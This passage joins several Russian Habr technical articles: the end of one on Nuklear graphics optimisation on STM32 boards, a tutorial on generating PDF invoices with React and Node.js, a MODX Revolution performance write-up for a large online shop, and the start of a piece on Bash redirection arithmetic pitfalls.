Попробовали вариант когда используем оба слоя с включением/отключением одного из них, то есть когда каждый слой имеет свой адрес видеопамяти, который не меняется, а смена буфера осуществляется включением одного из слоев с одновременным выключением другого. Вариант также приводил к дрожанию. И наконец, попробовали вариант, когда слой не отключался, а выставлялся альфа канал либо в ноль 0 либо в максимум (255), то есть мы управляли прозрачностью, делая один из слоев невидимым. Но и этот вариант не оправдал ожидания, дрожание все еще присутствовало.
Причина была не ясна — в документации сказано, что обновление конфигурации слоев можно выполнять “на лету”. Сделали простой тест — отключили кэши, плавающую точку, нарисовали статическую картинку с зеленым квадратом в центре экрана, одинаковую для обоих Layer 1 и Layer 2, и стали переключать уровни в цикле, надеясь получить статическую картину. Но снова получили то же самое дрожание.
Стало понятно, что дело в чем-то другом. И тут вспомнили про выравнивание адреса фреймбуфера в памяти. Так как буферы выделялись из кучи и их адреса были не выровнены, мы выровняли их адреса на 1 Кб — получили ожидаемую картинку без дрожания. Потом нашли в документации, что LTDC вычитывает данные пачками по 64 байта, и что невыравненность данных дает значительную потерю в производительности. При этом выровнены должны быть как адрес начала фреймбуфера, так и его ширина. Для проверки мы изменили ширину 480x4 на 470x4, которая не делится на 64 байта, и получил то же самое дрожание картинки.
В итоге, выровняли оба буфера на 64 байта, убедились что ширина выровнена тоже на 64 байта и запустили nuklear — дрожание исчезло. Решение, которое сработало, выглядит так. Вместо переключения между уровнями при помощи полного отключения либо Layer 1 либо Layer используем прозрачность. То есть, чтобы отключить уровень, установим его прозрачность в 0, а чтобы включить — в 255.
```
BSP_LCD_SetTransparency_NoReload(fb_buf_idx, 0xff);
fb_buf_idx = (fb_buf_idx + 1) % 2;
BSP_LCD_SetTransparency(fb_buf_idx, 0x00);
```
Получили 70-75 FPS! Значительно лучше, чем изначальные 15.
Стоит отметить, что решение работает через управление прозрачностью, а варианты с отключением одного из уровней и вариант с переставлением адреса уровня дают дрожание картинки при FPS больших 40-50, причина нам на данный момент неизвестна. Также забегая вперед скажу, что это решение для данной платы.
#### Аппаратная заливка сцены через DMA2D
Но и это еще не предел, последней на текущий момент нашей оптимизацией для увеличения FPS, стала аппаратная заливка сцены. До этого мы делали заливку программно:
```
nk_rawfb_render(rawfb, nk_rgb(30,30,30), 1);
```
Давайте теперь скажем плагину rawfb, что заливать сцену не нужно, а только рисовать поверх:
```
nk_rawfb_render(rawfb, nk_rgb(30,30,30), 0);
```
Сцену будем заливать тем же цветом 0xff303030, только аппаратно через контроллер DMA2D. Одна из основных функций DMA2D это копирование или заливка цветом прямоугольника в оперативной памяти. Основное удобство здесь в том, что это не непрерывный отрезок памяти, а именно прямоугольная область, которая в памяти располагается с разрывами, а значит обычным DMA сходу не обойтись. В Embox мы еще не работали с этим устройством, поэтому давайте просто воспользовались средствами STM32Cube — функция BSP\_LCD\_Clear(uint32\_t Color). Она программирует в DMA2D цвет заливки и размеры всего экрана.
#### Vertical Blanking Period (VBLANK)
Но даже при достигнутых 80 FPS осталась заметная проблема — части виджета двигались небольшими “разрывами” при перемещении по экрану. То есть, виджет будто бы делился на 3 (или больше) части, которые двигались рядом, но с небольшой задержкой. Оказалось что причина в неправильном обновления видеопамяти. А точнее, обновления в неправильные интервалы времени.
У контроллера дисплея есть такое свойство как VBLANK, оно же VBI или [Vertical Blanking Period](https://en.wikipedia.org/wiki/Vertical_blanking_interval). Оно обозначает временной интервал между соседними видео кадрами. Или чуть точнее, время между последней строкой предыдущего видеокадра и первой строкой следующего. В этом промежутке никакие новые данные не передаются на дисплей, картинка статическая. По этой причине обновлять видеопамять безопасно именно внутри VBLANK’а.
На практике, у контроллера LTDC есть прерывание, которое настраивается на срабатывание после обработки очередной строки фреймбуфера (LTDC line interrupt position configuration register (LTDC\_LIPCR)). Таким образом, если настроить это прерывание на номер последней строки, то мы как раз и получим начало интервала VBLANK. В этом месте и производим необходимое переключение буферов.
В результате таких действий картинка нормализовалась, разрывы ушли. Но при этом FPS упал с 80 до 60. Давайте поймем в чем может быть причина подобного поведения.
В [документации](https://www.st.com/resource/en/application_note/dm00287603-lcdtft-display-controller-ltdc-on-stm32-mcus-stmicroelectronics.pdf) можно найти следующую формулу:
```
LCD_CLK (MHz) = total_screen_size * refresh_rate,
```
где total\_screen\_size = total\_width x total\_height. LCD\_CLK это частота, на которой контроллер дисплея будет загружать пиксели из видеопамяти в экран (к примеру, через Display Serial Interface (DSI)). А вот refresh\_rate это уже частота обновления самого экрана, его физическая характеристика. Выходит, зная refresh rate экрана и его размеры, можно сконфигурировать частоту для контроллера дисплея. Проверив по регистрам ту конфигурацию, которую создает STM32Cube, выяснили, что он настраивает контроллер на экран 60 Hz. Таким образом, все сошлось.
#### Немного об input устройствах в нашем примере
Вернемся к нашему приложению и рассмотрим как происходит работа с touchscreen, ведь как вы понимаете, современный интерфейс подразумевает интерактивность, то есть взаимодействие с пользователем.
У нас все устроено достаточно просто. События от input устройств обрабатываются в основном цикле программы непосредственно перед отрисовкой сцены:
```
/* Input */
nk_input_begin(&rawfb->ctx);
{
switch (mouse->type) {
case INPUT_DEV_MOUSE:
handle_mouse(mouse, fb_info, rawfb);
break;
case INPUT_DEV_TOUCHSCREEN:
handle_touchscreen(mouse, fb_info, rawfb);
break;
default:
/* Unreachable */
break;
}
}
nk_input_end(&rawfb->ctx);
```
Сама же обработка событий от touchscreen происходит в функции handle\_touchscreen():
**handle\_touchscreen**
```
static void handle_touchscreen(struct input_dev *ts, struct fb_info *fb_info,
struct rawfb_context *rawfb) {
struct input_event ev;
int type;
static int x = 0, y = 0;
while (0 <= input_dev_event(ts, &ev)) {
type = ev.type & ~TS_EVENT_NEXT;
switch (type) {
case TS_TOUCH_1:
x = normalize_coord((ev.value >> 16) & 0xffff, 0, fb_info->var.xres);
y = normalize_coord(ev.value & 0xffff, 0, fb_info->var.yres);
nk_input_button(&rawfb->ctx, NK_BUTTON_LEFT, x, y, 1);
nk_input_motion(&rawfb->ctx, x, y);
break;
case TS_TOUCH_1_RELEASED:
nk_input_button(&rawfb->ctx, NK_BUTTON_LEFT, x, y, 0);
break;
default:
break;
}
}
}
```
По сути, здесь происходит конвертация событий input устройств в формат понятный Nuklear’у. Собственно, наверное и все.
#### Запускаем на другой плате
Получив вполне приличные результаты, мы решили воспроизвести их на другой плате. У нас была другая похожая плата — STM32F769I-DISCO. Там такой же LTDC контроллер, но уже другой экран с разрешением 800x480. После запуска на ней получили 25 FPS. То есть заметное падение производительности. Это легко объясняется размером фреймбуфера — он почти в 3 раза больше. Но основная проблема оказалась в другом — изображение очень сильно искажалось, статической картинки в момент когда виджет должен быть на одном месте не было.
Причина была не ясна, поэтому мы пошли смотреть стандартные примеры из STM32Cube. Там оказался пример с двойной буферизаций именно для данной платы. В этом примере разработчики в отличие от метода с изменением прозрачности просто переставляют указатель на фреймбуфер по прерыванию VBLANK. Этот способ мы уже пробовали ранее для первой платы, но для нее он не сработал. Но применив этот метод для STM32F769I-DISCO, мы получили достаточно плавное изменение картинки с 25 FPS.
Обрадовавшись, мы еще раз проверили данный метод (с переставлением указателей) на первой плате, но он все так же не работал при больших FPS. В итоге, на одной плате работает метод с прозрачностями слоев (60 FPS), а на другой метод с переставлением указателей (25 FPS). Обсудив ситуацию, мы решили отложить унификацию до более глубокой проработки графического стека.
#### Итоги
Итак, подведем итоги. Показанный пример представляет простой, но в то же время распространенный паттерн GUI для микроконтроллеров — несколько кнопок, регулятор громкости, может что-то еще. В примере отсутствует какая либо логика привязанная к событиям, так как упор был сделан именно на графику. По производительности получилось вполне приличное значение FPS.
Накопленные нюансы для оптимизации производительности подводят к выводу, что в современных микроконтроллерах графика усложняется. Теперь нужно, как и на больших платформах, следить за кэшем процессора, что-то размещать во внешней памяти, а что-то в более быстрой, задействовать DMA, использовать DMA2D, следить за VBLANK и так далее. Все это стало похожим на большие платформы, и быть может поэтому я уже несколько раз сослался на X Server и Wayland.
Пожалуй, одной из самых неоптимизированных частей можно считать сам рендеринг, мы перерисовываем всю сцену с нуля, целиком. Я не могу сказать как сделано в других библиотеках для микроконтроллеров, возможно где-то эта стадия встроена в саму библиотеку. Но по итогам работы с Nuklear кажется что в этом месте нужен аналог X Server или Wayland, конечно, более легковесный, что опять таки уводит нас к мысли, что маленькие системы повторяют путь больших.
**UPD1**
В итоге метод с изменением прозрачности оказался не нужен. На обоих платах заработал общий код — с переставлением адреса буфера по v-sync. При этом метод с прозрачностями тоже корректный, просто в нем нет необходимости.
**UPD2**
Хочу сказать большое спасибо всем людям кто подсказал про тройную буферизацию, мы до нее пока не дошли. Но теперь видно, что это классический способ (тем более для FPS больших частоты загрузки кадра в дисплей), который среди прочего позволит нам избавиться от лагов из-за ожидания v-sync (т.е. когда софт заметно опережает картинку). Мы с этим пока не столкнулись, но это лишь вопрос времени. И отдельное спасибо за обсуждение тройной буферизации хочу сказать [besitzeruf](https://habr.com/ru/users/besitzeruf/) и [belav](https://habr.com/ru/users/belav/)!
Наши контакты:
Github: <https://github.com/embox/embox>
Рассылка: embox-ru[at]googlegroups.com
Телеграмм чат: [t.me/embox\_chat](http://t.me/embox_chat) | https://habr.com/ru/post/518258/ | null | ru | null |
# Создание динамических PDF-файлов с использованием React и Node.js
Материал, перевод которого мы сегодня публикуем, посвящён созданию динамических PDF-файлов с использованием HTML-кода в качестве шаблона. А именно, речь пойдёт о том, как сформировать простой счёт на оплату неких товаров или услуг, динамические данные, включённые в который, берутся из состояния React-приложения. База React-приложения создана с помощью create-react-app, серверная часть проекта основана на Node.js, при её разработке использован фреймворк Express.
[](https://habr.com/ru/company/ruvds/blog/460018/)
Автор этого материала отмечает, что он подготовил [видео](http://bit.ly/HowtoCreatePDFsWithNodeJSandReact), в котором демонстрируется разработка проекта. Если вы решите и посмотреть видео, и прочитать статью, то рекомендуется поступить так. Сначала бегло просмотрите статью, потом включите видео и воссоздайте у себя рассматриваемую там систему. А после этого просто прочитайте статью.
Создание проекта
----------------
Создадим директорию проекта и перейдём в неё:
```
mkdir pdfGenerator && cd pdfGenerator
```
Создадим новое React-приложение:
```
create-react-app client
```
После завершения создания приложения перейдём в только что созданную директорию и установим зависимости:
```
cd client && npm i -S axios file-saver
```
Создадим Express-сервер. Для этого создадим в директории проекта папку `server` и перейдём в неё. В ней создадим файл `index.js` и запустим инициализацию проекта:
```
mkdir server && cd server && touch index.js && npm init
```
Тут, для формирования `package.json`, достаточно несколько раз нажать на `Enter`. После этого выполним следующую команду для добавления в серверную часть проекта необходимых зависимостей:
```
npm i -S express body-parser cors html-pdf
```
Теперь, в файл `client/package.json`, выше раздела с описанием зависимостей, добавим следующее:
```
"proxy": "http://localhost:5000/"
```
Это поможет в работе с локальным сервером из кода клиента.
Теперь нужно открыть два окна терминала.
В первом окне перейдём в директорию `client` и выполним следующую команду:
```
npm start
```
Во втором окне перейдём в папку `server` и выполним такую команду:
```
nodemon index.js
```
Начальная настройка клиента
---------------------------
Клиентская часть нашего проекта будет выглядеть очень просто.
Для начала, в файле `src/App.js` клиентской части приложения, импортируем в код зависимости:
```
import axios from 'axios';
import { saveAs } from 'file-saver';
```
После этого, в верхней части описания компонента, инициализируем состояние:
```
state = {
name: 'Adrian',
receiptId: 0,
price1: 0,
price2: 0,
}
```
Удалим стандартную JSX-разметку, созданную в шаблоне приложения средствами `create-react-app` и возвращаемую из метода `render()`. Вставим туда следующее:
```
Download PDF
```
Создадим метод `handleChange`, который будет отвечать за обновление данных состояния приложения, имеющих отношение к полям ввода:
```
handleChange = ({ target: { value, name }}) => this.setState({ [name]: value })
```
Теперь мы можем перейти к решению задачи создания PDF-файла. Та её часть, которая решается средствами клиента, заключается в создании POST-запроса к серверу. В запросе отправляется состояние приложения:
```
createAndDownloadPdf = () => {
axios.post('/create-pdf',
this.state)
}
```
Прежде чем мы продолжим работу над клиентской частью проекта, нам нужно настроить маршруты на сервере. Это позволит серверу получить данные с клиента, сгенерировать PDF-файл и передать этот файл обратно клиенту.
Начальная настройка сервера
---------------------------
Серверная часть проекта будет включать в себя всего два маршрута. Один нужен для создания PDF-файлов. Второй — для отправки файлов клиенту.
Для начала импортируем в файл `index.js` зависимости:
```
const express = require('express');
const bodyParser = require('body-parser');
const pdf = require('html-pdf');
const cors = require('cors');
```
Инициализируем Express-приложение и настроим порт:
```
const app = express();
const port = process.env.PORT || 5000;
```
Настроим парсер запросов. То, что нам нужно, будет доступно как `req.body`. Так же настроим CORS для того, чтобы нашей работе не препятствовала бы ошибка `Cross-Origin Request Blocked`:
```
app.use(cors());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
```
После этого запустим сервер:
```
app.listen(port, () => console.log(`Listening on port ${port}`));
```
Теперь мы можем заняться кодом, ответственным за создание PDF-файлов.
Создание HTML-шаблона для PDF-файлов
------------------------------------
Нам нужен HTML-шаблон, который будет использоваться при создании PDF-файлов. В деле создания подобного шаблона перед нами открываются бесконечные возможности. В виде PDF-файла может быть представлено всё, что можно создать, используя чистый HTML и CSS. Создадим в папке `server` директорию `documents`, перейдём в неё и создадим в ней файл `index.js`:
```
mkdir documents && cd documents && touch index.js
```
Из этого файла экспортируем стрелочную функцию, которая будет возвращать весь необходимый HTML-код. При вызове этой функции можно воспользоваться параметрами, которые мы тоже здесь опишем.
```
module.exports = ({ name, price1, price2, receiptId }) => { ... }
```
Тут я дам вам [пример](https://gist.github.com/adrianhajdin/ca4b094f65d244edba20a83db8d1da30) HTML-шаблона, а вы просто скопируете его в свой проект. Но вы, конечно же, можете создать собственный шаблон.
Приведём код `index.js` из папки `server/documents` к следующему виду:
```
module.exports = ({ name, price1, price2, receiptId }) => {
const today = new Date();
return `
PDF Result Template
.invoice-box {
max-width: 800px;
margin: auto;
padding: 30px;
border: 1px solid #eee;
box-shadow: 0 0 10px rgba(0, 0, 0, .15);
font-size: 16px;
line-height: 24px;
font-family: 'Helvetica Neue', 'Helvetica',
color: #555;
}
.margin-top {
margin-top: 50px;
}
.justify-center {
text-align: center;
}
.invoice-box table {
width: 100%;
line-height: inherit;
text-align: left;
}
.invoice-box table td {
padding: 5px;
vertical-align: top;
}
.invoice-box table tr td:nth-child(2) {
text-align: right;
}
.invoice-box table tr.top table td {
padding-bottom: 20px;
}
.invoice-box table tr.top table td.title {
font-size: 45px;
line-height: 45px;
color: #333;
}
.invoice-box table tr.information table td {
padding-bottom: 40px;
}
.invoice-box table tr.heading td {
background: #eee;
border-bottom: 1px solid #ddd;
font-weight: bold;
}
.invoice-box table tr.details td {
padding-bottom: 20px;
}
.invoice-box table tr.item td {
border-bottom: 1px solid #eee;
}
.invoice-box table tr.item.last td {
border-bottom: none;
}
.invoice-box table tr.total td:nth-child(2) {
border-top: 2px solid #eee;
font-weight: bold;
}
@media only screen and (max-width: 600px) {
.invoice-box table tr.top table td {
width: 100%;
display: block;
text-align: center;
}
.invoice-box table tr.information table td {
width: 100%;
display: block;
text-align: center;
}
}
| | | |
| --- | --- | --- |
|
| | |
| --- | --- |
| |
Datum: ${`${today.getDate()}. ${today.getMonth() + 1}. ${today.getFullYear()}.`}
|
|
|
| | |
| --- | --- |
|
Customer name: ${name}
|
Receipt number: ${receiptId}
|
|
| Bought items: | Price |
| First item: | ${price1}$ |
| Second item: | ${price2}$ |
Total price: ${parseInt(price1) + parseInt(price2)}$
====================================================
`;
};
```
Подключим этот файл в файле `server/index.js`:
```
const pdfTemplate = require('./documents');
```
Создание PDF-файлов
-------------------
Напомним, что на сервере мы собираемся создать два маршрута. POST-маршрут будет отвечать за приём данных с клиента и создание PDF-файла. GET-маршрут будет использоваться для отправки готового файла клиенту.
### ▍Маршрут create-pdf
В POST-маршруте `create-pdf` мы будем пользоваться командой `pdf.create()`, обращаясь к объекту, импортированному из модуля `html-pdf`.
В качестве первого параметра метода `pdf.create()` используется HTML-шаблон, а также данные, поступившие с клиента.
Для того, что возвратит `pdf.create()`, мы вызовем метод `toFile()`, передав ему имя, которое хотим назначить PDF-документу, а также стрелочную функцию обратного вызова. Эта функция, в случае возникновения ошибки, выполнит команду `res.send(Promise.reject())`. В том случае, если всё прошло успешно — она выполнит команду `res.send(Promise.resolve())`.
```
app.post('/create-pdf', (req, res) => {
pdf.create(pdfTemplate(req.body), {}).toFile('result.pdf', (err) => {
if(err) {
res.send(Promise.reject());
}
res.send(Promise.resolve());
});
});
```
### ▍Маршрут fetch-pdf
Заодно создадим и маршрут, который будет использоваться после того, как, по запросу клиента, будет успешно создан PDF-файл. Здесь мы просто берём готовый документ и отправляем его клиенту с использованием `res.sendFile()`:
```
app.get('/fetch-pdf', (req, res) => {
res.sendFile(`${__dirname}/result.pdf`)
})
```
Клиентская функция createAndDownloadPdf
---------------------------------------
Теперь мы можем вернуться к клиентскому коду и продолжить работу над функцией `createAndDownloadPdf`. Здесь мы выполняем POST-запрос к серверу с использованием модуля `axios`. Сейчас эта функция выглядит так:
```
createAndDownloadPdf = () => {
axios.post('/create-pdf',
this.state)
}
```
Если после выполнения POST-запроса к серверу был создан PDF-документ — нам нужно выполнить и GET-запрос, в ответ на который сервер отправит клиенту готовый документ.
Для реализации такой схемы поведения мы, после вызова `axios.post()`, вызываем .`then()`. Сделать это нам позволяет то, что в ответ на POST-запрос клиента мы возвращаем с сервера промис, который может быть либо успешно разрешён, либо отклонён.
Дополним функцию следующим кодом:
```
.then(() => axios.get('/fetch-pdf', { responseType: 'blob' }))
.then((
res) => {})
```
Тут можно обратить внимание на то, что в качестве `responseType` используется `blob`. Прежде чем мы продвинемся дальше — давайте поговорим о том, что это такое.
Объекты Blob
------------
[Blob](https://developer.mozilla.org/ru/docs/Web/API/Blob) — это иммутабельный объект, представляющий собой некие необработанные данные. Такие объекты часто используются для работы с данными, которые могут быть представлены не в родном формате JavaScript. Подобные объекты представляют собой последовательности байтов, хранящие, например, данные файлов. Может показаться, что объект `Blob` хранит ссылку на файл, но на самом деле это не так. Эти объекты хранят данные, с которыми можно работать. Например — их можно сохранять в файлы.
Завершение работы над проектом
------------------------------
Теперь, когда мы знаем о том, что представляют собой объекты `Blob`, мы можем воспользоваться ещё одним вызовом `.then()`, создав в нём, на основе `res.data`, новый `Blob`-объект. При создании этого объекта передадим его конструктору параметр, указывающий на то, что данные, которые будет хранить объект, имеют тип `application/pdf`. После этого мы можем воспользоваться методом `saveAs()`, который импортировали из модуля `file-saver`, и сохранить данные в файл. В итоге код метода `createAndDowndloadPdf` будет выглядеть так, как показано ниже:
```
createAndDownloadPdf = () => {
axios.post('/create-pdf', this.state)
.then(() => axios.get('fetch-pdf', { responseType: 'blob' }))
.then((res) => {
const pdfBlob = new Blob([res.data], { type: 'application/pdf' });
saveAs(pdfBlob, 'newPdf.pdf');
})
}
```
Вот как выглядит интерфейс приложения в браузере.
*Приложение в браузере*
После заполнения полей и нажатия на кнопку `Download PDF` осуществляется передача данных на сервер и загрузка с него PDF-документа.
*Загрузка PDF-документа*
А вот — сам PDF-документ.
*PDF-документ, созданный программно*
Итоги
-----
Мы рассмотрели механизм, который позволяет программно создавать PDF-файлы. [Вот](https://github.com/adrianhajdin/tutorial_pdf_generation) GitHub-репозиторий с кодом проекта. Надеемся, идеи, которые вы встретили в этом материале, найдут применение в ваших разработках.
**Уважаемые читатели!** Как бы вы подошли к решению задачи программного создания PDF-файлов средствами Node.js? | https://habr.com/ru/post/460018/ | null | ru | null |
# Разработка интернет-магазина 13000+ товаров на MODX Revolution. Часть 1
Я уже писал про свой компонент [shopModx](http://community.modx-cms.ru/blog/addons/9892.html). И хотя мало кто его оценил, так как многие ждут именно готовых решений с одной большой кнопкой «Установить и работать», тем не менее этот компонент разрабатывается с учетом тех минусов, которые есть в MODX, и в которые часто упираются MODX-разработчики, и с учетом тех плюсов, которые в MODX есть, но о которых разработчики не знают, или просто не используют.
Так же хочу сказать, что этот модуль не просто так разрабатывается. Он разрабатывается под два не маленьких магазина (для начала), и на выходе получится обкатанная платформа для реализации крупных интернет-магазинов.
Сегодня я хотел бы начать цикл статей о разработке крупных интернет-магазинов на MODX Revolution, с рассказами о том, с какими сложностями приходится сталкиваться, и какие варианты решения этих проблем используются. А так же о том, что для решения таких проблем shopModx уже будет нести на борту, и какие приемы позволят получить 100% контроль над разработкой своего уникального магазина, не влезая в код shopModx.
Итак, немного о магазине, над которым ведется работа: это интернет-магазин мебели. Вчера импортнул базу. Получилось 13000+ документов, 43000+ ТВшек и почти 13000 записей в modx\_shopmodx\_products.
Сразу скажу, что я рассчитываю получать код страницы даже не из кеша и с поиском по параметрам менее чем за 1 секунду, а средняя загрузка не должна превышать 0.3-0.4 сек.
Итак, коротко о первых проблемах и их решениях.
### Проблема 1. Большой файл кеша и много используемой памяти
Для начала входные данные для чистой Ревы. Специально скачал чистую 2.3.0 и посмотрел использование памяти. Код воткнул в плагин на событие OnWebPageComplite — это самая крайняя точка выполнения MODX-а уже после exit(), сохранения кеша документа и т.п. Первый заход (удалил вручную все файлы кеша):
```
Memory: 13.5409 Mb
TotalTime: 0.1880 s
```
Далее:
```
Memory: 10.1396 Mb
TotalTime: 0.0640 s
```
Кстати, на всякий случай код плагина: [gist.github.com/Fi1osof/5062419](https://gist.github.com/Fi1osof/5062419)
Можно доработать с проверкой прав доступов и всегда видеть актуальную нагрузку на сервер.
В общем, проверяем результаты на магазине (кстати, сразу хочу уточнить, что документ не пустой, а имеет 8 связанных TV-параметров, один из которых — картинка с кастомным медиамсурсом). Первый заход
```
Memory: 24.1438 Mb
TotalTime: 0.4360 s
```
Далее:
```
Memory: 18.4103 Mb
TotalTime: 0.0960 s
```
То есть имеем прирост к используемой памяти почти 10 метров сразу. Это потому что у нас кешируется вся карта УРЛ-ов контекста, а у нас там 13000+ документов. Кеш-файл контекста — почти 2 метра.
Очевидное решение — надо сокращать кеш-файл контекста. Я уже [писал](http://community.modx-cms.ru/blog/research/9430.html)
подробно про тонкие моменты в кешировании MODX-а и про свой патч [cacheOptimizer](http://modx.com/extras/package/cacheoptimizer). Ставим его и отключаем кеширование карты ресурсов для контекста web. Новые результаты:
```
Memory: 16.1369 Mb
TotalTime: 0.2640 s
```
```
Memory: 10.4021 Mb
TotalTime: 0.0720 s
```
То есть в штатном режиме у нас потребляет почти столько же памяти, как и на голой системе.
### Проблема 2. Page not found (404)
Эта проблема вытекает прямиком из предыдущего решения :-) Так как мы отрубили кеширование карты УРЛ-ов, то теперь MODX не сможет по УРЛ-у «понимать», к какой странице у нас происходит обращение при использовании ЧПУ. Сразу уточню, что если у вас не будет использоваться ЧПУ, то это не должно быть для вас проблемой (хотя кто сегодня не использует ЧПУ?), или если у вас не большой магазин (до 1000 товаров), то можно и не отрубать карту страниц, лишний мегабайт оперативки — не проблема.
Итак, для решения этой проблемы я решил использовать собственный роутер. Я просто написал новый класс, расширяющий modRequest, и немного подправил пару методов. Логика следующая: при обращении к странице, MODX пытается найти id ресурса по запрошенному УРЛ-у в кеше. (УРЛ уже очищенный, то есть без всяких параметров и т.п.). Если находит, то возвращает ID и далее все происходит в штатном режиме. Если нет, то пытается найти документ в БД по uri. Находит — записывает id в кеш и далее возвращает id. Если нет, то стандартная процедура OnPageNotFound (так что еще можно заюзать свой плагин для модификации поиска).
Этот дополнительный класс будет поставляться вместе с shopModx, и если кому-то понадобится (если будет большой магазин), то просто включаете его в настройках (ключ modRequest.class).
Так же есть вариант сразу все страницы загонять в кеш, допустим, при обновлении кеша (юзать плагин на событие OnSiteRefresh).
### Проблема 3. Много файлов кеша
Представляю, как многие читали предыдущее решение, и думали «ну что за дебил!» :-)
Да, плодить сотни тысяч кеш-файлов — это полный маразм. Но здесь ключевое слово — файлов. Да, именно их состояние (файлы) нам и не дают покоя. Потому в данном случае просто используем другой кеш-провайдер, а не файловый. Я решил использовать memcached, так как с ним уже хоть как-то сталкивался, и устанавливал на сервере, а вы можете использовать и другой, какой пожелаете. В стандартную сборку Рево так же поставляются memcache и APC.
Свой выбор в пользу кеш-механизма на оперативке я аргументировал тем, что упрощается сброс кеша. Попробуйте с жесткого диска удалить 1 000 000 файлов. Это будет происходить оооочень долго. В случае же с memcached сброс кеша делается просто и быстро.
```
$modx->cacheManager->getCacheProvider()->flush();
```
Еще один огромный плюс memcached — хранить можно любые типы данных, включая объекты. Исключение только — ресурсы (к примеру соединение с базой данных) и объекты, среди свойств которых есть ресурсы. Такие объекты должны создаваться с методами \_\_sleep() и \_\_wakeup(), чтобы перед сохранением они удаляли все свойства-ресурсы, а при восстановлении из кеша могли эти свойства вновь создать.
Итак, смотри результаты. Первый заход
```
Memory: 15.0709 Mb
TotalTime: 0.1040 s
```
Далее
```
Memory: 10.403 Mb
TotalTime: 0.0640 s
```
По-моему очень хорошо для некешированного контекста на 13000+документов.
### Проблема 4. Массовое обновление документов при изменении системных настроек
Не буду объяснять зачем, но понадобилось мне изменить суффикс контейнеров. Поменял, и Ajax-ответа так и не дождался… Полез смотреть процессор /system/settings/updatefromgrid. Есть в нем такой метод checkForRefreshURIs(). В общем, если изменялись «friendly\_urls», «use\_alias\_path» или «container\_suffix», то он сигнализирует, что надо обновить УРЛы. Все правильно. Но проблема в том, что он пытается обновить все документы без разбору, даже не контейнеры. К тому же еще и условие сортировки по menuindex зачем-то добавляет (хотя нас порядок вложенности интересует, а не индекс меню).
В общем этот процесс делал сервер плакать. Добавил условие isfolder=1, и тогда за 6 секунд обновил все контейнеры. Больше менять суффиксы не буду :-)
### Резюме
На практике мы получили полную обработку документа на сайте с 13000+ документами (в двух таблицах) и 43000+ TV-шек, менее чем за 0.3 секунды при обновленном кеше. Из кеша — менее чем за 0.1 сек.
Условно можно считать, что на этом этапе разница между большим и маленьким сайтом заканчивается, так как дальнейшие тормоза возможны только на уровне рендеринга страницы, а это уже зависит от того, как мы шаблоны напишем и т.п.
Этот момент я распишу в следующей статье (скорее всего завтра). Но сразу скажу, что я буду делать на Smarty, так как ИМХО делать все это на чистых чанках и сниппетах — куча проблем.
И напоследок результаты локального теста 100 клиентов по 1000 запросов каждый: [gist.github.com/Fi1osof/462e1af10ab7b95311df](https://gist.github.com/Fi1osof/462e1af10ab7b95311df)
Time per request: 44.224 [ms] (mean, across all concurrent requests)
P.S. Пакет на modx.com: [modx.com/extras/package/shopmodx](http://modx.com/extras/package/shopmodx)
Проект на ГитХаб: [github.com/Fi1osof/shopModx](https://github.com/Fi1osof/shopModx)
Залил последнюю версию с request-классом.
P.P.S. Указывать настройки memcached-провайдера лучше прямо в config.core.php (просто поверьте на слово).
```
$config_options = array (
'cache_handler' => 'cache.xPDOMemCached',
'cache_prefix' => 'shopmodx_', // Надо указывать разный префикс для разных сайтов на одном memcached-сервере
);
```
Переменная $config\_options там уже есть. | https://habr.com/ru/post/171343/ | null | ru | null |
# Неожиданные подвохи при перенаправлениях оболочки в $((i++))
[](https://habr.com/ru/company/ruvds/blog/554580/)
Год назад вышла *ShellCheck v0.7.1*. Главным образом в ней были подчищены и исправлены имеющиеся проверки, но также появились и новые. Лично меня из всех новинок больше всех удивила та, что указывает на проблему, обсуждение которой я еще нигде не встречал:
```
In demo line 6:
cat template/header.txt "$f" > archive/$((i++)).txt
^
SC2257: Arithmetic modifications in command redirections
may be discarded. Do them separately.
#Арифметические изменения при перенаправлениях в command могут быть
#отброшены. Выполняйте их отдельно
```
А вот весь скрипт:
```
#!/bin/bash
i=1
for f in *.txt
do
echo "Archiving $f as $i.txt"
cat template/header.txt "$f" > archive/$((i++)).txt
done
```
Опытные «сценаристы» уже наверняка забежали вперед и повторили это в своей оболочке, выяснив, что изменение будет работать, по крайней мере в *Bash 5.0.16(1)*:
```
bash-5.0$ i=0; echo foo > $((i++)).txt; echo "$i"
1
```
Исходя из этого вы можете ожидать беглого просмотра истории коммитов *Bash*, и, быть может, призыва сохранять благосклонность к нашим обездоленным собратьям на macOS, использующим *Bash 3*.
Но нет. Вот демо-скрипт на той же системе:
```
bash-5.0$ ./demo
Archiving chocolate_cake_recipe.txt as 1.txt
Archiving emo_poems.txt as 1.txt
Archiving project_ideas.txt as 1.txt
```
То же самое верно для `source ./demo`, которая выполняет скрипт в том же экземпляре оболочки, где мы только что проводили проверку. Более того, происходит это только при перенаправлениях, но не в аргументах.
Так в чем же здесь дело?
Оказывается, что *Bash*, *Ksh* и *BusyBox ash* в процессе установки файловых дескрипторов также расширяют имя файла, из которого происходит перенаправление. Если вы знакомы с моделью процессов *Unix*, то псевдокод будет выглядеть так:
```
if command is external:
fork child process:
filename := expandString(command.stdout) # инкрементно увеличивает i
fd[1] := open(filename)
execve(command.executable, command.args)
else:
filename := expandString(command.stdout) # инкрементно увеличивает i
tmpFd := open(filename)
run_internal_command(command, stdout=tmpFD)
close(tmpFD)
```
Говоря иначе, область изменения переменной зависит от того, произвела ли оболочка ответвление нового процесса в ожидании выполнения команды.
Для встроенных команд, которые не разветвляются, например `echo`, это означает, что изменение произойдет в текущей оболочке. Именно такой тест мы и провели.
Для внешних же команд вроде `cat` изменение видимо только между моментом установки файлового дескриптора и вызовом команды для выполнения процесса. Это и делает демо-скрипт.
Конечно же, подоболочки хорошо известны опытным программистам, а также описаны в статье [Why Bash is like that: Subshells](https://www.vidarholen.net/contents/blog/?p=178). Но лично для меня это новый и, в частности, коварный их источник.
К примеру, этот скрипт отлично работает в *busybox sh*, где `cat` является встроенной:
```
$ busybox sh demo
Archiving chocolate_cake_recipe.txt as 1.txt
Archiving emo_poems.txt as 2.txt
Archiving project_ideas.txt as 3.txt
```
Аналогичным образом эта область может зависеть от того, переопределяли ли вы какие-либо команды функции-обертки:
```
awk() { gawk "$@"; }
# Инкрементирует
awk 'BEGIN {print "hi"; exit;}' > $((i++)).txt
# Не инкрементирует
gawk 'BEGIN {print "hi"; exit;}' > $((i++)).txt
```
Либо, если вы хотите переопределить псевдоним, то результат будет зависеть от того, использовали ли вы `command` или `\`:
```
# Инкрементирует
